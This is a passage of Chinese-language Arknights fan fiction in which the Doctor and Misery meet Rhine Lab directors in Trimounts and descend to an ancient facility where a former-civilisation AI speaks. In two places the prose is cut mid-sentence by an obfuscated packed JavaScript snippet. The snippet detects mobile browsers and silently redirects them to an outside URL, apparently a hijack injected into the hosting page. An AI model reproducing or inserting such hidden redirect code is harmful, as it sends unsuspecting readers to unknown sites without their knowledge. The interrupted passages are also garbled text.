缺失的那颗心上填满了清澈的水,没有因为路上的颠簸损失太多。博士接过石头,石头上冰凉的水沾湿了他温暖的手心,这的确是他扔出去的那一块,Misery微微低头注视着他,金色的眼睛专注而沉静,等待他的答复。 博士抬起脑袋,浅灰的瞳孔里落进淡淡的光斑,“是我扔出去的那块。” 萨卡兹的脸上浮现出微笑,他微凉的指腹蹭过博士的侧脸,俯下身亲吻人类浅淡的双唇。在这个潮湿的吻里,博士下意识伸出手臂,触碰到了发烫的腹肌,它的确如想象中一般柔韧有弹性。他应该禁止萨卡兹裸露上半身表白,太犯规了,博士脸红着想。 支起遮阳的帐篷以后,萨科塔掏出眼罩邀请博士一块午睡。博士从善如流,也在草地上躺下,他拉上眼罩,耳边环绕水流潺潺、羽兽啾鸣的和谐伴奏。Misery就在他旁边一臂远的位置,博士一伸手就能够到的距离,他悄悄伸出手去,指尖碰到了一截皮肤,还有一点硬硬的源石结晶——是Misery的小臂。 他的手指继续往上,食指敲敲点点,但刚过手肘就被逮住了,Misery那边传来窸窸窣窣的声音,博士蒙着眼睛看不见,但从握住他手的动作变化不大来看,萨卡兹应该是翻了个身。 然后博士的手指就碰到了柔软的织物,以及织物底下滚烫饱满的肌肉,突突跳动的震动传导到他的掌心。博士大受震撼,Misery居然直接把他的手贴在了自己胸口上。他如果捏一捏会不会不太礼貌? 但萨卡兹沉稳有力的心跳有效抚慰了他,博士就这样感受着另一个人的温度与心跳沉入梦乡。 哥伦比亚113号拓荒地。 不同的拓荒地居住着不同的家族,他们或单干或聚集成新的聚居点,通过自己的双手创造财富,一点一点攒出一块移动地块,然后收归于附近的城市。 听起来很美好,但实际上收益最大的却是银行和企业家,许多拓荒者的生活境遇都称不上乐观,以至于有专门的慈善机构接受捐款改善拓荒者的生活环境。 其中比较出名的就有莱茵主任之一的多萝西支持的未来之星项目,因为她本人就出身自拓荒地,所以她选择给更多的拓荒地孩子一个机会,只要你读书成绩足够优秀,就能和家人一起搬离拓荒地,接受基金会的全额资助,直至大学毕业进入大型企业。 博士和Misery、Outcast就正坐在未来之星的宣讲会上,他们隔一段时间就会来发展指标优秀的拓荒地宣讲。他们之所以会坐在这里,是因为这一次的宣讲会有多萝西本人的参与。梅兰德基金会给出的消息指向了这位主任背后的莱茵生命,如果他们需要更多关于天上那个洞的内容,就得从面前这位正在台上演讲的金发美丽扎拉克入手。 博士捏造的大炎学者身份没想到在这个地方还有用处,至少不是每个国家都对卡兹戴尔高层那点事了如指掌。他在各处留下的痕迹,以及大炎贴心为他“伪造”的学术成就——理论上它们的确来自于博士的手稿,但比粗糙的手稿更为专业深入,大炎的能人异士能够取得这样的成就倒让博士受之有愧。 这层虚假的身份给了他见多萝西的机会。 和在台上那个侃侃而谈的优雅端庄的女士不同,私底下的多萝西换上了更加拓荒地的打扮,沙色的衣裙,深棕色披肩围拢纤细的脖颈,虽然也有安全因素的考虑,西装革履的城市精英更容易成为暴徒重点攻击的对象,但朴素的衣装留给博士的第一印象不差。 “我听闻您曾经在乌萨斯、卡西米尔开展学术交流和义诊,”多萝西对他的态度也恭敬,“您接触过那么多的普通人感染者,尽心尽力为他们医治,您真是个伟大的人。” 他恐怕是离伟大这个词语最遥远的人了。博士暗嘲道,但他明面上还得应和几句:“过奖了,比起你们的未来之星项目,我做的只是最基础的事情,延缓他们的病情,而你们确确实实改变了许多家庭的命运,这才从根本上解决了问题。” 多萝西摇了摇头,她面露难色,也许因为博士那无害的面孔、温和的语气与过往的功绩卸下了她的防备,“实不相瞒,我其实并不愿意来参与这类活动……” “怎么了?” 多萝西叹了口气,“我当然愿意帮助那些困难的拓荒地家庭,但未来之星要求他们与公司签订长达数十年的合约,而且不是每一个孩子都能获得这样的机会,那些不够聪明的呢?他们又怎么办?” 博士了然道:“你也是被这个计划捆绑的孩子之一?我在其他拓荒地也听说过你,在未来之星之外,你也资助了许多拓荒者。就结果来说,你已经做到最好了。” “我很幸运,早期的未来之星计划没有现在这样……限制严格,我会来帮忙宣传是因为其他的原因。抱歉,博士,刚一见面就向你倒苦水,”她双手合十道,语气柔和,毛茸茸的大耳朵因为情感波动微颤,“但我想你能够理解我。” 博士摇头道:“没关系,就救助他人这一点而言,我们的确有共同语言,而且我也有正好有事情想请你帮忙。” “什么事?只要是我能力范围以内的。”扎拉克温柔的眸子带有与生俱来的哀伤。 “我记得你是源石技艺应用科的主任。” 多萝西点头。 博士从衣兜里掏出黑色的手环,由于长时间的佩戴,边缘磨损掉色,内置的检测装置数据早就不准确了,里面那支特殊药剂也被提前取出,“我想请你帮忙改进这个,如果可以的话,能量产最好,它会改变许多矿石病人的生活。” 多萝西在拓荒地多逗留了一阵,完成宣讲会的任务以后,她仍然留下一部分时间与普通的拓荒者相处。博士一起陪同,他带来的药还能顺带解决一些困难家庭买不起药的问题。Misery和Outcast担任起了护卫工作,萨科塔和萨卡兹组队的奇妙场景在拓荒地各处上演。 这些天相处下来,这位扎拉克用她的实际行动证明了她的温柔善 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391779|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 良并非浮夸虚伪的表象,她会与博士探讨源石技艺的专业问题,为一个数据的对错分毫必争,也会为一个被天灾带走的孩子流下眼泪,她几乎掏空了身上所有能带走的钱财。博士一度怀疑让她一个人待在这里,迟早连回城的路费都得向其他同事借。 多萝西同样递出了前往莱茵生命学术交流的邀请,尽管这才是博士一开始的目的,但他此刻又有些犹豫,或许不该利用这样一位温柔善良的人,他只是收下了,但没有明确前往的时间。但至少去特里蒙他们同路,让多萝西不至于因为路费问题尴尬,她真的把身上所有值钱东西都留下了。 Outcast递给博士有关这位源石技艺应用科的主任的情报,照片上的多萝西精致绮丽,她朝镜头露出温柔的笑,像哥伦比亚街头随处可见的漂亮招牌。她曾经因为涉及非法实验差点被处理,但能量科的斐尔迪南承担了大部分责任,也许她为希望之星宣传就是这一事件的代价之一。 “这位主任危险与美丽并存,”Outcast总结道,“她的善心即便放在萨科塔中也不多见,但就是这样的善,导致了数百个拓荒者的失踪,创造出瞬间毁灭一栋大楼的恐怖武器。” “但她不是坏人,”博士说,“这些顶尖的科学家拥有不俗的天赋的同时,他们各自的偏执和认真又会将他们导向不同的极端。” Outcast耸耸肩。 “即便是我……也不例外。”博士轻声道。 因为手环交给了多萝西研究,Misery的手腕上变得空荡荡,博士从一个拓荒者商贩的手里买来一串手链,金色与白色交织的丝线上串起晶莹的橘黄色宝石,宝石上还带有珍贵的源石回路。商贩推销时还强调这是从萨尔贡进口的高档货,拥有美容养颜、延年益寿、去病消灾的功效。博士研究了一下上面的源石回路,确定它只会微微发热,最多起到热敷关节的疗效,才决定买下。Misery的匕首和Outcast的铳让聪明的商贩再重新考虑了一个更加合理的售价。 他亲自为Misery戴上,系紧上面的束带。Misery摸了摸手环提起他还没给博士买过什么礼物,博士冲他一笑,那就做一顿好吃的晚饭当谢礼吧。 抵达特里蒙,他们就与多萝西分道扬镳。这里与卡瓦莱利亚基的商业区构造相似,只是更冰冷更高效率。或许因为到达的时间在夜晚,明亮的城市夜景与繁忙的上班族共同编织了哥伦比亚繁荣的底色。天上的大洞像一道伤口横陈在城市上空,它比几个月前缩小了,但仍然没有愈合,站在城里任何能够看到整片天空的地方,都会望见那团特别的星空,以及偶尔会被察觉到的落单的月亮。 今年的第一场雪已经悄然落下,他们三人漫步在城市街头,Outcast带他们前往梅兰德基金会安排的酒店落脚。 但特里蒙夜晚的热闹远超出他们的想象。 警车轰鸣追赶架着枪的摩托暴徒,从他们脚下的天桥下飞驰而过,一阵乒乒乓乓响动,Misery揽过博士压低身体。 Outcast掏出铳,在栏杆上架枪瞄准,脚蹬上护栏,砰砰几声,然后就是摩托紧急刹车轮胎擦地的难听声响。暴徒骂骂咧咧,拆下枪械往天桥上和警车位置扫射。 “哥伦比亚的特产不得不尝,尤其是在天空破了一个窟窿以后,什么牛鬼蛇神都跑来特里蒙——”Outcast也压低了身位,“抱歉两位,我得先行一步了,维护城市治安,人人有责。” 她并拢双指在额头比划了一下,然后扛起铳枪就从栏杆上一翻而下,身姿潇洒,“对了,我通知了其他同事来接你们——别走太远,不要被警察抓到。” 她的声音被一阵剧烈的碰撞和交火声埋没,Misery捞起博士就往路旁的绿化带里撤去,但双方交火的范围显然还在扩大,Misery还没带博士离开一条街远,无人机上挂载的高功率照明灯就打在了他们俩身上。 特里蒙的警车和几架高大的装甲将他们团团围住。 “两个可疑人员,一个萨卡兹一个蒙面人,站原地别动,举起双手!” 他们虽然身份清白,无辜被卷入这场事件,但一旦进了哥伦比亚的局子就难免会生出额外的事端,哥伦比亚的警察风评出了名的武力充沛,但只要不被当场逮捕,以后就还有回转的空间。 Misery脚底的地面已经开始融化,黑色的路面像沼泽一样蔓延。但还没等他出手,一辆一看就是非法改装的越野车就以夸张的速度冲进警圈,逼退围拢来的装甲,高难度的炫技转圈以后,一个急刹车稳稳停在他们面前,车门打开,主驾驶位置坐着一个带着黑黄头盔的人,敞开的棒球衫,脖子上挂着大金链。 比叙古拉□□还像□□的人物,见他俩还愣着,急得一拍方向盘,支在头盔两侧的黄色耳朵不耐烦抖了抖。 “不想被抓去审讯就赶紧上车!” Misery如梦初醒,拽着博士一起爬上后座,给自己和博士扣紧安全带。主驾驶的那位大哥把方向盘当篮球一样甩,他背后的机械臂上推档杆,油门踩到底,越野车以不可思议的速度和强度直接正面冲装甲撞去—— 砰砰、砰! 脸接装甲的车仅仅掉了点漆,结实得不像话,它进入城市道路又像灵活的斐迪亚一样七拐八绕,车前有一块后期加装的屏幕,上面密密麻麻的代码与线条像迷宫一样复杂,戴头盔的人不知道用了什么手段,在屏幕上戳戳点点就截停了警方追来的无人机。 车辆行驶终于平稳下来,博士坐在后座被甩得头晕目眩,即使有绑安全带,但他还是跟连着坐了跳楼机和大摆锤再加上过山车一样面色苍白。Misery面上没什么反应,他握紧匕首谨慎盯住驾驶座上的埃拉菲亚。 车内音响的摇滚乐忠于职守,烘热车内的气氛,这位奇怪的、在车内还戴着像摩托车头盔的人朝他俩挥了挥手,“我是接任Outcast的同事,她应该还没来得及跟你们介绍,你们可以叫我Mechanist,今晚真是场热闹的欢迎会,烟尘和爆炸、混乱和自由——欢迎来到真实的哥伦比亚,伙计们!” 15. 14 特里蒙市民中心会议厅,商业精英与科技公司代表像沙丁鱼群一样涌入,制服统一,秩序井然,哥伦比亚的先锋代表们纷纷落座,莱茵生命牵头发起的联合发布会足以聚焦整个特里蒙甚至整个哥伦比亚的视线,尤其是在出了那一位惊世骇俗的总辖之后,没有人不会对莱茵生命这个头衔如雷贯耳,崇敬,愤怒,害怕,贪婪,嫉妒……一颗升上天空的星星,牵动了泰拉大地如此繁杂的情感。 “感觉像回到了乌萨斯那时候。”Misery与这群精英同样的一身西服装扮,只是这一次他不必刻意隐藏源石结晶,哥伦比亚对感染者的政策堪称宽松——但也仅限于有身份、有才华、负担得起高昂的特殊医疗保险的感染者。 博士一身漆黑的防护服在里面竟也不算惹眼,有部分公司代表的保镖甚至穿戴着最新型号的外骨骼,他挑眉问道:“比起当我的助理,你更想当我的学生吗?” “……如果你喜欢这个称谓,我可以继续叫你老师,博士。”Misery偏头靠过去在博士耳边轻声说。 “很可惜,我不玩师生恋这套,我是个有师德的老师,我的眼里只会有你的实验数据和改完的学术论文。”他意有所指戳了戳Misery身后的尾巴,细长的尾巴直接打着转儿圈上他的手腕。 博士找到他挂名的那个不起眼的小公司名牌入座,位于整个会议厅的边角,但正好方便他观察整个会议出席的人物,莱茵生命、沙滩伞、塔山生物科技、梅兰德基金会、梅什科集团……甚至连玫瑰报业集团都有一席之地,还有Mechanist的前东家沃尔沃特科钦斯基——他还记得机械师怎样用鄙夷的态度描述这家公司的所作所为,主管如何糟蹋他的研究心血。 包括他们已经认识的多萝西在内,如今莱茵生命在职的主任仅剩四位,他们当中的三位坐在第一排的位置,而科学考察科主任一如既往神秘消失。这场发布会的内容对博士来说并不重要,尽管走上演讲台的黎博利和在她身后护卫的瓦伊凡构成十分吸引人的组合,她们都曾是莱茵生命的一员,因为种种原因离开了莱茵生命,但在如今在这个混乱的时刻选择了回归重整。 名为克丽斯腾的莱茵生命总辖如何轰开天空的大门仍然是一道未解的诱人谜题,而这位黎博利在谜题前加上了一副名为人道主义的枷锁,这似乎与哥伦比亚一向提倡的开拓进取精神相悖,但即便是博士,也不得不称赞一句勇气可嘉,不是每个人都有足够的勇气和责任挡在混乱的时代浪潮身前。 中途休息时,博士与多萝西叙旧,这位主任带来了好消息,她成功改进了手环的结构,修正测量偏差,将药剂注射方式从手动变为自动。多萝西向他介绍了在场的两位主任,商务科主任小贾斯汀与工程科主任娜斯提。 小贾斯汀对于手环的热情之高,敏锐的商业嗅觉让他主动找到多萝西希望能够与博士洽谈合作项目。娜斯提则冷冷淡淡,她的视线更多落在同为萨卡兹的Misery身上,带有打量的意味。Misery不惧于女妖的目光,萨卡兹之间不存在什么老乡情谊,更何况是与双王站在一起的女妖王庭。 博士婉拒了小贾斯汀的商业合作,但他可以让渡一部分权利,具体的合作条款还需要等他去莱茵总部详谈。 “真可惜,如果雅拉主任还在,说不定能说动您加入莱茵生命,我们的职位空缺从未如此严重。”小贾斯汀惋惜道。 博士微笑着说:“有天上那块活招牌在,莱茵生命不缺天才和疯子,想入职你们公司的人估计得从特里蒙排队到麦克斯哥伦比亚特区。而比起追逐一个传奇,我更想脚踏实地,做些自己力所能及的事情。” 回到下榻的酒店,Misery总算松了口气,松开领口的领带,瘫坐在转椅上,他的坐姿很少这样狂放,两腿岔开,尾巴恹恹垂到地毯上,“我得改个说法,博士,这里比乌萨斯麻烦多了,太多的特工,太多的视线,好像连天空都有眼睛在监视我们。” “你的感觉没错,如果不是Mechanist帮我们安排的住宿,我估计连床头都塞着监听器。”博士也在桌对面的椅子上坐下,掏出终端,浏览最近的哥伦比亚新闻,原本属于蓝卡坞的新闻版面被科技新闻侵占,所有人都发了狂似的在问天上究竟有什么,阻隔层外是否有生命的存在。 “……他真的不会吗?” 博士抬头看了他一眼,“虽然我们与梅兰德基金会算不上什么铁杆盟友,但Mechanist值得信任,他与Outcast一样,加入梅兰德基金会是出于某种更高尚的理想。” “好吧,博士,我相信你的判断,那我们的课程是不是可以……继续?” 博士彻底放下了终端,“我很欣慰你是个好学的好学生,Misery,但我教给你的内容已经完全够用,如果我能找到我们那时的青少年喜欢看的通俗小说,你阅读起来不会有太多障碍。” “你们的小说里会有些什么?” “主题和泰拉现在的流行小说差别不大,囊括了友情、亲情与爱情,只是背景各有不同,我们对于很多事物的定义也和你们不一样。” Misery偏了偏头,“我看过的小说很少,卡兹戴尔的流行文化不像卡西米尔、哥伦比亚这样发达,比起幻想小说,人们更喜欢歌颂双王的事迹。” “这倒是意料之中。”博士轻笑一声,“所以你绕这一圈,就是想听我讲故事吗?” Misery有些不好意思又有些期待地点头,“我读写没有问题,但我更想通过语言来交流。” 一种语言只有被使用才能称之为活着。博士无端地突然想起这句话。他确实许久未用过母语与任何人交谈,即便是凯尔希,她面对博士时脱口而出的都是维多利亚语,她没有遗忘,而是已经与泰拉同行太久,一些习惯已经刻进了她的灵魂深处。 “我没有太多时间去阅读小说,讲故事的水平也不够高明,但我有一位同事喜欢分享这些,可能因为他是我们当中少有的,已经成了家,还拥有一个女儿的人。幸运的是,我还能记得他讲过的几个比较有趣的故事。” 博士坐直身体,Misery已经掏出他那本记得密密麻麻的笔记本,摊开放在膝头,一副洗耳恭听的模样。 “如果有你听不懂的词汇,可以随时打断我。” 与外界空前热闹的盛况不同,莱茵生命总部大楼里到处空荡荡的冷清,小贾斯汀解释说他们新任人力资源考察科主任还没正式上任,所以莱茵目前还处在缺人的阶段,临时总辖塞雷娅虽然顶住了军方的压力,不让军队接手莱茵的安保工作,但防卫科同样缺少人手,相当一部分科室还处于封闭状态。 他们参观了尚在正常运行的几个实验室,其中就有多萝西的,她将改进后的手环交给博士。比起粗糙的初代机,它如今拥有流畅的线条与精巧的比例,像一只精致的手镯,连上面代表了运行状态的可开关发光组件都一应俱全。 “我可以放弃全部的专利,但我有一个条件,我将所有的专利技术转让给你个人,多萝西,不是莱茵生命,也不是哥伦比亚。”博士顿了顿,“以及这个改进后的原型机,我想留着作为纪念,可以吗?” 多萝西怔住,然后诶一声,“博士?!啊……这个你当然可以拿走,可是,可是,你真的不再想想吗?这会是很大一笔钱,足够——” “足够你摆脱未来之星,做你真正想做的项目。”博士接话。 “这真是太——”多萝西的耳朵毛颤了颤,“我不能接受,博士,科学家的尊严不允许我这么做。” “作为你帮我改进的谢礼吧,别推辞了,在你手里总比在贾斯汀手里好,如果你不接受那我只能跟贾斯汀谈谈合作计划了,这对于你的那些拓荒者朋友们来说,算不上好事。” “可是博士……我想问一句,你为什么会这么做?”多萝西皱眉道。 “因为你让我想起了一位故人,她也像你一样温柔,想用自己的方法拯救他人。”博士的脸上挂上柔和但悲伤的笑容,沉重而深远的悲伤与博士年轻的外貌相冲突,仿佛这具年轻的□□里住进了一个古老的灵魂。 多萝西也垂下眼睛,这位也经历过失去的多愁善感的主任似乎从博士的表情上读懂了些什么,“我明白了,我会好好使用它的,博士。” 到工程科的办公室,娜斯提仍然没什么好脸色,她不允许防卫科的人员随意进入,只让博士一人通过迷宫式的入口,低喃的女妖咒言封闭了房间。娜斯提举手投足间已经完全看不出重视礼仪的女妖的痕迹,她衣着干练,动作轻快,从衣兜里掏出个让博士意外感到熟悉的东西,一根保养良好的泛着深蓝色金属光泽的羽毛。 “河谷托我带来的问候。” 上面附有女妖的咒言,如果不是娜斯提的神色正常,那根羽毛也没有任何异变的痕迹,博士真要怀疑是不是卡兹戴尔又派什么人来绑架他了,Misery这次没有贴身跟着,虽然他身上带上了他的匕首,但也难免遇到风险。 博士拿起那根羽毛,金色的咒言像柔软的丝带环绕上他的手腕,他的耳边传来轻渺的低语。 “愿你这场漫长的旅途得偿所愿,博士,小心身后迫近的影子。” 咒言钻入皮肤下消失不见,娜斯提的眉毛皱得更深了,“这是一道祝福性的咒言,具体效果我也不清楚,毕竟我又没有出身高贵的王庭。” “……谢谢你,娜斯提主任。”博士仔细将那支羽毛放进他腰间的那个兜里。 “别跟我提谢,受人所托罢了,或许再过不久,我也会离开莱茵生命。” “关于克丽斯腾的事情……” “恕我不能回答,我答应过不会再掺和这些事情,而且我想有更合适的人向你讲述。我的那位萨卡兹同族,他今天没有和你一起来。”娜斯提竖起食指在唇上,骨哨捏在指尖,“我会帮你们隐去痕迹,但也仅限于此了。” 小贾斯汀没有陪同博士太久,他是个大忙人,尤其在莱茵生命空虚的当下,他还有许多要紧事务处理,给博士引路的换成防卫科的几位职员,娜斯提帮博士支开了他们。博士如今独自走在空荡荡的走廊上,一边留意耳麦的动静,一边查看墙上的各科指示牌。 “莱茵生命生态科。” 博士念出声,一个被封闭的实验室,但从透明的玻璃窗看过去,里面宛如一片绿色的海洋。张牙舞爪的藤蔓攀上摆放着玻璃器皿的桌面,失控的植物在封闭的室内挣扎,拼命汲取一切养分。但从旁边尚在运行的仪器数据来看,如果这扇阻碍它们自由生长的门打开,外界未被净化的污浊空气只会加速它们的死亡。生态科的主任,也是唯一一个和总辖一同失踪的莱茵生命主任。有人说她被梅兰德基金会杀死,也有人说她被军方扣押,也有人说她化作了那天夜晚洒向特里蒙的雨。 “博士,我们发现这栋建筑里存在许多特殊的夹层,经过排查发现其中最可疑的那个就在你头顶不远处。”Mechanist略有失真的声音从耳麦里传来,“Misery已经在往你这边赶了,不要离开太远。” “好。” 博士话音刚落,头顶天花板上就冒出他熟悉的萨卡兹,Misery轻巧落回地面,尾巴抬高调整平衡,脚步如云兽般轻盈,他顺着博士的视线看过去,“你想进去看看吗,博士?看一眼的时间我们还是有的。” 博士指尖轻触一面玻璃之隔的细小枝丫,“不了,我们呼吸的空气就足够摧毁这个脆弱的生态系统。”他转过身朝萨卡兹走去,“走吧。” 堆积成山的纸质材料几乎埋没这个房间,只在中央留出了一小片空地,安放一张不被外界打扰的办公桌。博士和Misery的进入甚至没有让奋笔疾书的男人停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391780|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下哪怕一秒钟,他对于纸上的数据如此痴迷、如此狂热,唯有亲眼目睹了那场戳破天空的奇迹的人才会癫狂至此——他们找对了地方。 “斐尔迪南·克鲁尼,大地与天空之间最优秀的高能物理学家。” 男人抬起头,看着向自己走近的陌生萨卡兹和奇怪罐头人,他的手不动声色放在桌下一个红色按钮上,“我不记得我有过访客预约——” “或许你会想知道克丽斯腾超越时代的知识来自哪里。” 他的手摁下了按钮,但在安静等待十秒后,没有任何事情发生。他暗暗骂了一句防卫科在某人走后都是一群废物,房屋角落里的监控红光不正常地闪烁了两下。 兜帽人仍然在继续向他靠近,他抬脚避开了可能会踩到的纸张,走到桌前居高临下俯视面前的菲林,语气温和但不容置疑,“这是场不太公平的交易,但抱歉,我赶时间,希望你能够理解。” 气候转冷,博士在兜帽外也围上了暖和的围巾,Misery把热腾腾还在冒蒸汽的一杯热奶茶塞进人类冰凉的掌心,炎国流行的饮品如今也在哥伦比亚遍地开花。 可能因为那次绑架事件的影响,博士的体质比往年更加虚弱怕冷,Misery看在眼里急在心里,以人类的特殊体质,他还不能劝博士去医院,特里蒙的环境复杂,群狼环伺,道德水平标准线摇摇欲坠,他们不能冒暴露身份的风险。 “没事,我自己的身体我心里有数。”博士宽慰他道,Misery沉默捉过他的手包在手心里试图捂暖,“即使真的有意外发生,还记得那个叫赫默的黎博利吗,去找她。” 斐尔迪南给出的拼图还差最后一块,他虽然知道能量井的位置,但那里如今已被军方封锁,而且即便是他也不知道聚焦发生器的能量源头是什么,那超出了泰拉已知的能源总和。 Mechanist帮他们联系了梅兰德基金会总部,但他的语气并不看好:“他们一直在能量井附近寻找什么,而且瞒着军方,让他们知道你的存在也许不是件好事。” “身为特工这么说你上司的坏话,真的不会扣钱吗?”博士这个时候还有心思开玩笑道。 “我上一次离职时把那个讨厌的主管的办公室炸了,”Mechanist用波澜不惊的语气说出爆炸性的发言,这倒是符合他留给博士的第一印象,“我不介意什么时候再来一次更大的。” “莱茵生命那个工程科主任恐怕跟你有许多共同话题。” Mechanist唯一能够泄露本人情感的耳朵往下压,好像勾起了什么不愉快的回忆,“我对萨卡兹没有歧视性想法,我只是不喜欢女妖,她们和我的机魂犯冲。” 梅兰德基金会总部派来与他们接洽的是位故人,他的铁皮壳子与萨卡兹熔炉里燃烧的那些截然不同,但不妨碍他们本质上是同一种存在。 死魂灵。 他叼着一支香烟,见博士来了在掌心里掐灭了火星,那点温度还不够在他的铁皮上留下一点痕迹。 “从我那故乡远道而来的稀客,久仰大名啊,博士。”锡人从沙发上站起身,伸出手。 与想象中的难以对付不同,锡人的态度称得上友善好说话,他开诚布公向博士提供了能量井的具体坐标,以及军方换防的薄弱点位。太过于顺利,以至于像个明晃晃的陷阱,万事俱全,就等着他们踏入。 “克丽斯腾戏耍了所有人,国防部的介入更让我们束手无策,比起任由这个秘密落入军方手里,我想Outcast和Mechanist都向您证明了我们是更好的选择。” “你为这个国家服务,锡人先生,你们和军方就像左手和右手,也许偶尔会有冲突,但你们的最终目标始终一致,让哥伦比亚更加伟大。” 锡人没有否认,“这是我的立场,但从个人的角度,我希望能从您那里获得一个答案,一个关于我们这个种族和居住的土地过去和未来的答案,我是哥伦比亚人,但我同时也是萨卡兹。” “即使答案不会是你想的那样,真相的公布不会让一切问题都迎刃而解,它反而会成为制造麻烦的源头。”博士冷冷道。 铁皮罐头微微低下脑袋,他不似常人那般靠肌肉运动的五官仍然有几分生动,他在笑,“我接受,只要您愿意讲述我们可以知道的部分。” 距离能量井不到几百米的一处隐蔽地下设施。 博士几乎没有费太大力气就找到了这里,不仅是由于梅兰德基金会的情报准确,Misery物质转换源石技艺的便利,他们顺利穿过了军方的封锁,走下一段狭窄的楼梯,抵达这道无形的大门面前——他记得这个地方,远在这个计划还处在雏形阶段时,他就在项目报告上见到过粗略的设计图。 “你在这里等我,”博士语气前所未有的严肃,“这里留存的过去我一个人应对足够了。” Misery皱眉不同意道:“除非你命令我打断我前进的双腿,捆住我施术的双手,博士,不然我不会放你一个人走开的。” “……” Misery金色的眼睛坚定与他对视,寸步不让,这位一向好说话的萨卡兹强硬起来也同样无懈可击。 博士在对视中最终败下阵来,他叹了口气,“我也不知道让你进入究竟是对还是错……跟紧我,不要离开太远,对我无害的防御措施对你来说未必。” Misery紧贴着他站,握紧博士的手,乖乖点头。 洁白的光芒拥抱着他们,漆黑悠远的空气凝为实体,梗塞在胸口,令博士几乎喘不过气。 (未知语言)“真是个难以想象的惊喜……在地下沉寂如此之久之后,在我把那孩子送进宇宙之后,我还能见到一位过去的同僚…… “许久不见,预言家……” 来自前文明的孤独声响回荡在宽广寂静的大厅内。 16. 15 这个金发的佩洛女孩不知道是第几次熟门熟路来到这里,她这一次带来了一个连接外界互联网的笔记本,屏幕上播放着介绍哥伦比亚这个国家的视频,马克·麦克斯那张酷似黎博利兽亲的脸亲切而温和,但他在国民当中好评颇高的访谈节目在弗里斯顿这里却差评连连。 “避重就轻,油嘴滑舌……放进AI的评分系统里都是倒数。” 她金色的长发几乎披垂在地,就像一个再普通不过的哥伦比亚女孩那样随意坐在地上,不在乎自己的裤子染上泥土和尘埃,热情举起手写板和笔向面前庞大的机器请教看法和问题。如果不是那一双毛茸茸的佩洛耳朵,博士几乎以为这属于弗里斯顿更遥远的记忆。 “维生系统失效……” 与其说是弗里斯顿,不如说是用着弗里斯顿语音的AI在播报保存者计划的运行状况。 “……重复一遍,保存者计划失控……确认第635次,疑似幸存但无法唤醒人员10人……” 空无一人的大厅里,只有冰冷的语音在忠实地向寂静的石棺履行它再也无法实现的义务。孤独的求救信号像投入海中的石子,被厚重的岩石层遮蔽,被源石辐射干扰,没有地面上的人能够接收到。 “……确认第2981次,没有人员幸存……我,我们,失败了……” 微弱的求生信号也被掐灭,红色巨眼为了节省能源暗淡下去,他会刻录下所有人的信息,像一座电子墓碑,也许未来有一天会有后来者能够发掘出来,让这些过去的幽灵得以重见天日。 博士空灵的身体穿行其间,上万年的孤寂,只有这个意外闯入的金发佩洛女孩是生动的、有颜色的,她每一次来看望弗里斯顿,都能见到冷冰冰的代码欢快地跳起舞来。 “人性使你坚守,但也将你折磨得不成样子,这个女孩重新唤醒了你曾经身为人类的感觉。” 克丽斯腾·莱特,她坐在椅子上,朝博士露出微笑,在弗里斯顿的意识深处,她是这样的细节完好、美丽动人,这尊投影在无数记忆文件支撑下雕琢得趋近于完美。 “你会怪我吗,博士?”金发的佩洛问道,“怪我让弗里斯顿动摇,怪我让弗里斯顿同意了用你们的能源完成自己的梦想。” 博士没有回答,也没有回答的必要。问题本身亦是一种答案。真正的克丽斯腾此刻正在星荚身后,泰拉人的黎明前。 眨眼间,这个“克丽斯腾”变为了他更熟悉的模样,粉色的长发黑色的双角,连嘴角温柔的笑容都还原得一模一样,白色长裙曳地,黑色丝带绕过她的小腿,她的头顶盛着黑曜石的冠冕。 “你舍得送他去死吗?博士,我一直都知道你是个温柔善良的人,不要让大家失望,好吗?” 椅子后站着另一位魔王,沉默的利刃守护在特蕾西娅身边,他垂下的莓色眼睛瞳孔竖直,警惕锁定博士,宛如一柄抵在喉间的雪色刀刃。被兄长护卫的魔王站起身,像第一次踏出石棺那样迎向博士,托举博士的手掌,她微笑着轻轻吐出卡兹戴尔语,语气轻到吹动不起一点尘埃。 “我相信你能够做到。” 长发褪去,身材更为高大强壮的萨卡兹出现在面前,他穿着齐整,身后背着从不离身的狙击枪,断角的切面光滑平整,面巾和墨镜将他的真颜尽数遮盖,但不妨碍博士一眼能够认出来他是谁。 “你为什么不在大炎、在卡西米尔留下来,博士,你找到你想过什么样的生活了吗?” 魔王的手被战士的手取代,粗糙但温暖的掌心包裹着他的指尖。萨卡兹的语气哀伤,带有博士熟知的优柔寡断,他的话语与其说是在愤怒斥责,不如说是在悲痛懊悔。他垂下脑袋,语气低沉说道:“也许我帮你逃出去就是个错误,你的幸福不在泰拉,不在我们这些人身上,Misery他失败了……” 博士抽出了手掌,潜意识的投影不够准确,它会同时具象化回忆与想象、期待与恐惧,也会被外来的思维影响,像两条河短暂并入一条河道,交流是双向的,但他来这里不是为了回答同事和过去的诘问。 “为什么你什么都不愿意告诉我们呢?明明我们这么关切你,这样深而绝望地爱着你……” 萨卡兹对他的反应并不失望,他好像单纯感到困惑,绕着博士开始转圈,脚步声从轻到重,有些陌生的声音从人类身后传出,“我们对你来说只是数据吗?” 